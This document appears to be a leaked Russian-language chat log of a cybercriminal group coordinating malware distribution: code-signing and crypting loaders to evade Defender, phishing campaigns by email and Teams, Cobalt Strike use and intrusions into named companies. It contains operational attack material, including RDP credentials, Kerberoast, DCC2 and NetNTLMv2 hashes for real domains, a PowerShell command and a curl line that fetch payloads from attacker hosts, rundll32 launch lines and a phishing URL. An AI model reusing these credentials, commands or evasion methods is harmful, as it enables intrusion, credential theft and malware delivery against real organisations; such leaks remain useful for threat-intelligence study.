занимаюсь

vehadk332372 - песок 100%

Velociraptor.exe в процессах и в софтах

зло

```

https://www.zoominfo.com/c/harte-hanks/31394759

```

```

скочно отойти нужно было

скоро подпишу

https://docs.velociraptor.app/

малваре хантеры

аа

он только 1 js файла выдал

он же 10 штук хотел выдать

Error: key status is disabled так тут серт кажется заблочили один

другой возьму скоро

блин, два последних серта, которые выдавали не работают

Decrd.zip

подписал старым сертом

> <@usernamegg:matrix.bestflowers247.online> muaddib6: ну как там со стейджером ?

+

> <@usernamegg:matrix.bestflowers247.online> muaddib6: ну как там со стейджером ?

но хеш в js нельзя менять

который я выдал

так как подпись сразу же слетит

вообще он должен был вадать сразу несколько js

просто не хочется на выдачу ставить один js

что-то на обеих сертах Error: key status is disabled

не могу подписать

все, песда?

ок

мин

rundll32.exe dll.dll,CloseMap

s.7z

строка ехе fdbdfbdfdfdfbdfgdffdgbdf

+

а, тогда ехе там только)

длл автоматом запилися

чисто, путти запустился

подпись валидная

бро привет, как дела? по нагрузке есть чтонибудь интересное?

+

доработали страые схемы, ждем криптера.. какая-то проблема в датацентре

> <@usernamegg:matrix.bestflowers247.online> и тех что я выше скинул

+

icumed.com это юса

их позже прошлем

ладно

ок

пусть будет 1 файл на выдаче

все равно точечно шлем

скоро все проверю еще раз и запущу RR

```

запустил RR

я нормуль

очень интересные темы наокпал

надеюсь хватит знаний разобраться до конца

сижу обучаюсь

ну и софт доработали под спам и под тимсы

разобрались со спуфом и прогревом

остлось налить таргетов)

линками шлю

Trojan:Win32/Wacatac.H!ml на exe

на пути не орало конечно

> съездил без палева погрелся ?

3 дня был в ауте)

но было очень классно в целом, мне понравилось

> друг с й не приезжал туда ?

я тебе потом расскажу)

друг наш как обычно немного отжег

ну js чистый

с путти проверял, было все чисто

можно на лыжах поктаться потом

дня 3

у нас имею ввиду

да, ладно работаем)

я тоже

ну с юк нет скачиваний

5к ушло уже

нет инбоса туда думаю

напиши плиз по нагрузке как будет

я на строил все как в первый раз

когда у нас были отбивки в тимсах

ща попробую атачем

связка как была до нг?

84.239.54.74 есть один запуск с юки

ок, ну можно протестить в любом случае

нет

с линка

> <@usernamegg:matrix.bestflowers247.online> но ехе все равно вакатак дает ?

бля, но это со вчерашнего просыла что-то

не с js

ладно, скоро атачем попробую

но там один файл js

и нет смысла слать атачем так

10к слать один и тот же атач тупо

попробую все же сделать свои зипы, чтобы был js + мусор

жду exe

готово.

> <@usernamegg:matrix.bestflowers247.online> ну что там ?

хреново

1.7z

TfVdSjzAExoaOjoZMnTlAldcPtzXbqjyYDtHRmWeyuTQtMzXin

строка

+

+

все равно вакатак

попробую подписать exe

да, вакатаки...

короч все равно вакатак, даже у подписаного exe

а какие были айпишинки у сеток с RR ?

с uk есть так то 5 скачиваний

но вот запусков нет

когда?

ну когда запуска js

он скачиваниет exe

и орет на exe

* ну после запуска js

а если просто ехе запустить?

при том, что на путти не орало

а просто ехе без js ?

скоро попробую

curl -o rr.exe https://amacey.com/x1g/jjj

ну я вот так попробывал скачать

палит exe

не могу скачать

деф орет

понял.

ну короч в статике видимо палит

с италии 63 запуска в общем

```

конечно. делаю.

ну это локальные айпишники

просто интересно с какого айшиника внешнего пришли они

т.е. айпишник сотрудника

((

ска заепал...

> <@muaddib6:matrix.org> конечно. делаю.

А ты кто?

```

> <@usernamegg:matrix.bestflowers247.online> переделаешь ?

2.7z

TfVdSjzAExoaOjoZMnTlAldcPtzXbqjyYDtHRmWeyuTQtMzXin

строка та же.

> <@usernamegg:matrix.bestflowers247.online> это новый криптер у нас.

Он тебе не отписал в личке?

+

В отрицание пошел)

Чтоб знал свое место

И обманывал тебя

и не обманываел*

он может сказать просто, как именно он зипует?

с какими параметрами

чтобы туда сюда эти файлы не гонять

```

js26.zip

pass jksdhfk23424

подписал

+

Ок рабочие моменты, так рабочие моменты

В чате опишу что я делаю

ну RR через js мы не славили

атачем прошлю его зипы

Опишу принцип своей работы.

у нас с 10к нифига не приходит )

Спросил как бурито делает, он просто выделяет память в текущем процессе и запускает там полезную нагрузку

Ну грубо говоря упаковка

Я тоже так делаю, когда не нужно наворотов

Это все не обходит ав

А дает чистую статику

> <@usernamegg:matrix.bestflowers247.online> дан говрит шлите по 10 писем и ждите ответа а потом только кидайте нагрузку )

я кстати тоже похожее делал

но вот с китами не так все просто

помню много прослал на них, без нагрузки писем, но всего 6 ответов было

++

поэтому я и прошу сделать бизнес акк на аутлуке, чтобы сидеть пробывать туда слать и смотреть что мне поменять, чтобы инбокс был лучше

Я крипт не делаю.

```

Этот метод крутой и сложный, многий софт будет тупо ломаться.

Поэтому все крипторы делают, запуск в текущем процессе, что бы софт был главным, и понимал что это его процесс.

в пн тогда прошлю на эти точки просто письма без нагрузки

и посмотрю будут ли ответы

он еще зипует?

* ```

В идеале нужно создать группу по Shellcode, чтоб не было каши.

у дана что-то панель не работает

слух, а ты щас прослал?

у меня две новых суперноды дружно ушли в блек

да, уже работает

ппц быстро раскрутили

понял

какой крысе?

🐀

а ну он знает получается что он тут в группе

что-то он долго зипы делает

бен разницы

я переименую

рандом от 2 до 5 символов

там msi

атачем оно врядли зайдет

да и эти js в зипе тоже не факт, что норм буду заходить

у меня кстати уже вакатак на его js

посмотрим будет ли у его зипов такое же

но на exe все равно вакатак

проверил по старому файлу js

ну, жду

он там пакует?

+

атачем слать?

ну проверить не могу, как они в аутлук заходят

по одной сетке тоже?

ок давай

но там 1 супернода

понял

из живых

видимо да, раскрутили

так

что-то подпись не валидная

exe короч палит

думаю не стоит слать

странно, невалидная подпись у js

другой файл проверил

тоже самое

прошлю прогревочные по этим юсовским

посмотрю ответит ли кто

если будут ответы, в пн в ответ им файл отправлю

`191.239.253.220:3389;RECORDNEWS\Guest;Zrjhysqpe,059`

89.213.29.72:3389;CBSSOUTH\Guest;Zrjhysqpe,062

* `89.213.29.72:3389;CBSSOUTH\\Guest;Zrjhysqpe,062

```

```

```

10к отправил... завтра посмотрю сколько ответят

```

офнусь. до понедельника

```

++

vse tak zhe ( no connect

привет, CS еще нужен?

хочу попробовать кое-что для него написать

чтоб чистым был

идея появилась

те серты всё, да?

да

rrg.corp.jgsummit.com_kerbs.txt

не знаю

но должен быть он

ахахах

ну а ты как хотел)))

73002123fdc16b083b9c7a92f21b1aca

dd74786b7ca400c32b40ed68af920b22

`$krb5tgs$23$*bkpadmin$CORP.JGSUMMIT.COM$corp.jgsummit.com/bkpadmin*$15c874e08ded63170e6b370cf811cf8b$69a642d36658fa2c6f83b0851cff5778a15fb30a0426e354aa6bcd5364c8f63e0a1b150eae1eaf366d20f5c7fc1fdfa527c3677c42b948f0be0886bfe5537ab9f2ec21f29f4eafc9c79f14ab3800c4e544fca2d1f1cab0a8a0c672357ac35f14cf9fdb48b8dded632fd90705fb26b74b82e970d3c948990ea3bb9b1ea70c8303617b52efa2833ece83507541f3109956d811e1c47e9d5d19b156eab3de010bf61e9dc2af024e32a07d47e5da63cc89c8b52fa422a2bc69e6a9a69da42eed95b74f24bf416ea6e2113a1837cbc18afed398a1bfa843854bc9266afef25b0d62809d9043b721a4cf71d5df51d122c775851574015797509de6d32f585cd44b7ba8843efd638bff1a295c6036e7cf251ef7481a50686d20f6e23a442cd59f2e683788b67f076f061dc5533710473ec7ed829382a015a65101fceaf6923400298971e3e337d457160ccf374f79b47e93053073029657d4c8ecf175e08dbbdb4a1c1c4a5dbcc800c118d776cb6c51a7c2ebdb18319d8aeeb2a0f64b3a59d7226169dafa6d067c01457952eaaca75a974ef4a9bd799f8adb545b336072ced232722f791bbb14d8d775c92270ed3a4abf7bb925124437521f1ee292b13b9d0b8da99be6536791f27cc0f3266dce47e1ce1d7bdd5e6662f6b8492985c45e90c6666552995ce586e05bbe3dad9311119aa31e19a50f30ca40f6031f1d4bce1ffe5a850752ac8e26073dcb0dfeba6b2d795889bed93a13aa8ec848c5f6f2db7a7bcaf1e44bf4c154aef1dd1b06f79ab645e05e680befbcdefd619a207dc93bc57f79bd8f08fe75fa9559178db232724b5adfd5893d0634fbb8902fb8f238185e9df42ee3abbb7b5c94786f5557ef4c42c1192140244d6ba8785a350629409af8e7c6835077a45cc2d1432f5b7d1ec10f97210223df9992dbef30eba0bbb81fb1e58de19805ea5d696858a1a43619b077e26adbe9b6ce52ff1e98dd42f2ad7b8c8481aad1702ca9f8ff48864f0267015002dc7ccdfc43149e876a72d96a70a2c7f4db8e67149ec1bf160695a14a0e92cbb35ded63bf25f3ed77b3aed78d3fc8ee73fc2d08dbfa6f3a1e81133557b3a5f3414f8c382e41de889ac1f2154b01e47ed65837f08982a8f261f95599fef28d3b278e31448145a9020d5a16199a6cf63ea642870fc43cc211ecf2a5f9c8c337eb9629b2ea15b9c72d813272ae2f0cf35b2b54067cc631fb74b895682197c3dd99331a3cf13cb83083e0ba3f4b69b9d4f41f2ccdab07076de9711d32da337c8d98762cfc7cfe214d8fddb52495c3af49c586ca7178b22f2c02a3dc4b96883463bb1c7cb1106cae36162a5c9ee554e7286b43cf88b6a4e28e9824d413f63840163d688dac00b83168e3eebdd90db8a5b82eef473991476b221c84644edf1a0dc6c5ec24819edc5ea1d7bce5891747e5a33b37070478ad33860fe8641844b8c4768f169e12a8d7c3259cce5af3c87950f2756e6da86d88f93c6c5861180982ce94d007da53efb8ebbd0fbfc56c8beb372d5d7d74ecd7c943434901c88eb8f9f64ad5a5880fee5852c7b6cb9a5963f93147fb25d79ba8803cf03a1d88c8edfda21bc4254f436b289f6cd0934509b2ab100fc5bbe5fb2f65b2177e62c1c88d65b100b49c3cfbc57e1b30156bd2fd152f87a9900030f44dff85567d9f58568201700437e38af6a6c54024ac881fe64a37adf9645e11c951f9aef87886489738ae2e4b0c17b653dd81`

> <@usernamenn:matrix.bestflowers247.online> sent a file.

3 DNS коба. тачка RRGMLAHOSP306 spool.exe скачайте процессы и удилите файлы. Спасибо!

* 3 DNS коба. тачка RRGMLAHOSP306 spool.exe скачайте процессы и удилите 3 файлf. Спасибо!

* 3 DNS коба. тачка RRGMLAHOSP306 spool.exe скачайте процессы и удилите 3 файла Спасибо!

privet

knscpa.com_privat < oplatila

koder chistit bota on vse peredelal , skoro budem gruzit'

доброе

Dobroe!

доброе

dobroe

доброе

```

мы работаем сегодня или они сетку ставят?

> <@usernamegg:matrix.bestflowers247.online> два спб друга тут будут

я дома буду, гулять не особо хочется, сегодня в 7 на права вставал и перед поездкой отмену выдали

хз, просто сказал пока отмена

`powershell iwr http://149.28.105.251:801/download/file.ext -outfile C:\Users\Public\file.exe`

ochen skoro shas robotaet nad etim ,, vse pochstil on pochti krome windefa ,, shas s etim vozitsya

ok

5255b25af76891ad48a107b62793969d

udobno shas mozhesh perevesti bitki?

ok

mi ob etom govorili

esli sprosyat ya napishu obrashaysya k GG

бро привет

https://blog-en.itochuci.co.jp/entry/2024/01/24/134100#Maldoc

image.png

есть кто онлайн?

крипт нужен будет

a1a97bd86ede23c6c1291e3a747dc868

> <@usernamenn:matrix.bestflowers247.online> крипт нужен будет

ща SS напишет тебе ситуацию

тут yy обленился и охуел в край

X 2024-01-27 в 22.59.58.jpg

мы взяли филипинские сервера а там стоял debian 10 только другой возможности нет

мы должны подстраиваться под сервера, а не они под нас

я уже почти закончил

клоунаду устроили

понял

подсказывает мне как делать еще и неправильные ответы дает

там SS с ним воевал

просто начинает зачем то выкобениваться

просто берет и делает

мы его редко дергаем и так

ему хорошая нужна конкуренция

тогда он и тут будет жить как миленький

поживем увидим

на выходных я обленился, ну так то я мог нормально ответить, я не прав, извини, что тебя дернули ради этого

и выебываться не будет

а делать то что просят без выебонов

начинает ебать крутиться, мы сидим ебашим до утра, он там сок попивает и нихуя не хочет

ну сюда хохла такое себе везти

ну если решишь сам везти предупреди тока))

я срулю что бы не рисоваться =)

я его не знаю, кто он такой тем более хохол

рисоваться не хочу и так достаточно людей меня уже лично знают

если тебе он нужен для твоих целей и ты не боишься лично с человеком знакомится из такой сферы это твое право, я против таких мувов, я сам решаю с кем мне общаться, с левыми типами с инета не имею желания

поработаю на удаленке хули не в первой

ну с тимкой ебать как давно же бы знаком, тем более это не рансом

это разовые встречи не живя с челом и не подпуская близко

а тут ебать в дом запустить типа с инета, мы не знаем какие его там знакомые и друзья окружают что бы так близко тащить чела

сам подумай это абсурд

люди в инете разные

в реале они другие

в инете чел может быть молодцом и хорошим челом, в реале окажется все по другому, ну если ты все таки решишь просто предупреди меня и все это единственная просьба

нет еще пока ниче не выдал

мы сами поставили 10 версию и начали тестить яву на ней

там либа какая то не ставится

ну все тогда супер

да че нам тут может угрожать пока левых типов нет

тем более во время СВО

вобще похуй РАБОТАЕМ

123.zip

burrito: !

ok

> <@usernamess:matrix.bestflowers247.online> 123.zip

da

ок

> <@usernamess:matrix.bestflowers247.online> 123.zip

dd.rar

* rundll32.exe dll.dll,GetModal

++

https://github.com/RedSiege/GraphStrike

GraphStrike — это набор инструментов, который позволяет маяку HTTPS Cobalt Strike использовать API Microsoft Graph для связи C2. Весь трафик Beacon будет передаваться через два файла, созданных на сайте SharePoint злоумышленника, а все сообщения от Beacon будут направляться на https://graph.microsoft.com :

свежее

привет, я уже все сделал

завтра с утра выдам билды новые

> <@usernamegg:matrix.bestflowers247.online> збс ты сидишь фиксишь баги конечно

> <@usernamegg:matrix.bestflowers247.online> https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm/

Я в офф, все доделал вот с утра, завтра рано утром выдам билд, сегодня пойду отдохну и на трешу схожу

Может к вечеру зайду в сеть, на связи

```

b5782130ff3553b5b265463e08cf2a4b:Welcome@1

```

stop

Да, я видел

привет

я пока что кобу снес

сейчас в процессе кодинга новой версии лоадера

https://0xdarkvortex.dev/hiding-in-plainsight/

по такому принципу

но есть ньанс, будет работать только после WinServ 2012 и win 10

* но есть ньанс, будет работать только после WinServ 2012 и win 10 (включая десятку)

потому что функия TPALLOCWORK есть только на этих версиях и выше

для старых систем будет текущий лоадер

но новый должен быть гораздо лучше, там идет комбинирование технологий

спуфиг стека и индирект сисколы

потом для кобльта сделаю UDRL

и попробую сделать норм крипт без него

если что, попробуете мой крипт, как все будет готово?

думаю он будет лучшим, как минимум надеюсь на это

кстати, у меня еще есть сурс убивалки ав, который на xss продавали

вам нужен?

* и попробую сделать норм крипт без него и с ним

Доброе!

доброе

Dobroe!

доброе

----

бро привет, есть чтонибудь из нагрузки прослать? под спуф

```

я тебе там написал

закажешь пропуск?

я еще не выехал

понял

> <@usernamegg:matrix.bestflowers247.online> есть хотим )

подожду тогда лучше пока уйдут, раз не надо тем более

Привет

Что за файлы 123.zip?

У меня переписка не разшифровывается

А битность какая?

А переписка не разшифровывается

Мне сделать 3 этих файла?

> <@usernamegg:matrix.bestflowers247.online> [04:49:47] private - coder: мы попробовали с другим парнем, даже в выходные, даже по отработанной уже базе у него вышло намного лучше, чем обычный дроппер который он до этого слал.

123zip.rar

pass:Ghjagg378uasa

В группу не передавай, а то сольют

3 файла сделал.

крыса может сливать файлы, мстя

++

+

делаю

> <@usernamegg:matrix.bestflowers247.online> капец ты его не жалешь

https://investcampbell.com/bRcJ6/{random}

> <@usernamegg:matrix.bestflowers247.online> лоадер скоро скину

путти туда пока поставлю

можно италию будет уже в боевом режиме прослать на пику

html файлами новыми этими

c 10k что в пятницу прослал писем

только 1 ответил

> [DS01320@cygnusdelivers.com] Re: #2991717934

ну это атлук, туда доставлять тупо сложно

но я еще поменяю письмо, еще буду пробывать

как вы картинку irs вставляли в подпись?

причем не важно спуф или нет

любой формат и тд

проверял

это же старые

там подпись не валидная

поэтому мы не слали в пятнцу

* поэтому мы не слали в пятницу

+

кажется нам серты начали обрубать

уже три серта нерабочие

скоро еще посмотрю, что-нибудь из старых

капец

Error: key status is disabled

уже 6 сертов проверил

привет

я тут

жду ноды чистые IP

чтобы поставить и сделать с ними билд

еще не выдали

вчера не мог этого сделать, селлера не было

нашел один

скоро должен выдать, поставлю и сразу сделаю билды с новыми нодами

пока жду, сделаю так, чтобюы сервак постоянно был открыт, чтобы не лагало, а то как на сервак захожу и сервак лагает и просадка сильная начинается

отпишу как выдаст селлер

+++

окей

ща еще линки делаю

там с линки наш exe буде скачиваться?

а то с файлообменика палит на скачивании

до 10 февраля еще счет на основной сервер нужно будет оплатить чистыми битками или юсдт

* до 10 февраля еще счет за основной сервер нужно будет оплатить чистыми битками или юсдт

ок, скажете как сможете оплатить

там € 6.173

> <@usernamegg:matrix.bestflowers247.online> если скажешь точку входа

ну давайте exe попробуем

а html файлы чел собирает?

погодите

линки делаю сам еще

точка входа - Calc

я и exe сделаю и dll

ну я про того чувака, которые html + павершелл на итальянском собирает

с новой идей обманки

да

он собирает?

или нет его

уже бы проверили его нагрузку в боевом режиме

у меня вакатак

> <@usernamegg:matrix.bestflowers247.online> [12:34:44] support + xls + js: https://file.io/GMx8z8e5tbRy

не могу скачать js

орет на js подписанный в зипе

с мусором не спалило

чистый js

пусть размножит

ждем exe тогда

привет

бля

x86 не подойдет?

это просто реально проблема)))

у меня же бот x86

у меня все инжекты с оффсетами x86

+++

я на неделе займусь под x64 тогда

> <@usernamegg:matrix.bestflowers247.online> я просто знаю кто криптует х64 отлично

та мне нужны бруты, чтобы они были людские, долго держали

и чтобы нормально туда ставилось

чтобы не было фаервола лишнего, дефа фаервол я обхожу, а вот другие АВ, там не смогу развернуть прокси бота

> <@usernamegg:matrix.bestflowers247.online> почему не давало скачать ?

добавил еще файлик туда без формата

скачалось норм

Хорошо

+

+

> <@usernamegg:matrix.bestflowers247.online> [13:35:56] сборщик - iso + lnk : Jjksdjdsjadi342dsajkdjs!@#323

пока от саппа js подписываю

так что нам слать?)

ща проверю его msi

еще жду, щас пингану еще раз селлера

я сразу отпишу как будет

`$DCC2$10240#VDIHandler#08a1cb592e6d0acc7cb32488e036ac24`

`$DCC2$10240#Administrator#b81371d38031f34099f63a65f1c8c044`

msi чистый

ок

короче можно msi и js на выдачу поставить

будут в случайном порядке выдаваться

даже может лучше msi

мы его особо не слали

+++

ты его на крипт же отдавать будешь?

+

sd_kekhash.txt

> <@usernamegg:matrix.bestflowers247.online> sent an image.

я проверял, все ок, путти запустился

+

привет

инет отвалился

ноды делаем

опять прибили

пока нет, сразу отпишу

да, соксов хватит

js подписал, скоро поскачиваю msi и их тоже подпишу

щас еще написал одному, у него хуже, но думаю на запуск хватит

+

короч деф все равно переодически орет на js

2 раза из 5

на msi вроде не орет

короч msi пусть лучше будет, js и так уже больше года шлем

на 30 мин отойду

мне надо коечто еще в боте подправить

> <@usernamegg:matrix.bestflowers247.online> [14:04:28] сборщик - iso + lnk : :Lkdlsdjsdfkjkjkhfhdhs31r43432!!

от второго не подходит

ааа

я без : вначале копировал

у другого селлера вечером будет мат, он чекает

попросил чтобы скинул если хотя бы 2-3 будет

чтобы старт был на 2-3 а потом я добавлю, как вечером будет

kekhash.txt

+

ему просто впски нужны?

хотя наверное что-то другое

это не прост осерваки купить

это не серваки это брученые реальные тачки

я спецом разворачиваю все на тачках реальных пользователей, чтобы банов избежать

ибьо после масс спама мы сразу в threat fox попадаем и там сразу абуза идет на все

от спамхауса и прочей хуйни

домашний IP Сложно забанить, мало кто реагирует

особоенно если это CN, IN, RU

* особоенно если это CN, IN, AU

паруц, минут, жду ответа, когда выдадут

типо 2 exe

разные потоки?

> <@usernamegg:matrix.bestflowers247.online> как скоро будет готово?

щас жду пока ответит, когда сможет хоть часть мата выдать

`desteban::ASECOS:1122334455667788:deb7b8e6d8637d9236677fd06b7c4c60:01010000000000005aeef4d5bf52da01827b557e80eb64360000000008003000300000000000000000000000002000008fcae75345c950b9a3df1c68df36641cd4a81cf6d6ba0cc86ab9c610bcb354120a0010000000000000000000000000000000000009001e0041005300450043004f0053005c0064006500730074006500620061006e000000000000000000`

шалом, что-то деф вообще ебанулся, что ни вариант - все вакатак

да на все

на ехе больше